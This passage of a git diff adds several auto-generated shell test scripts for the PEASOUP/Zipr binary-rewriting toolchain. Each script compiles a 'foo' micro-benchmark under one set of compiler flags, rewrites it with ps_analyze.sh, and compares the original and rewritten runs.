index 0000000000000000000000000000000000000000..aaa28ca6e02e70927d287f39382a4242acd9982d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3ce23e5a6efc5657bb1de6fd91dc5383d254b052
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1c0ecbea4d29d4ff4b57aa8b19e2a03847eb9120
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8814b9c3159187ff6f66ce171ed61b3ba472deab
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..887bb0bc08a59654c79d3544a133153921428053
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a45117eaa6d0e6bfc0d803551bc8d3efefd085f3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0fa43b2aedc4defac06892107b916e648c4cccd8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
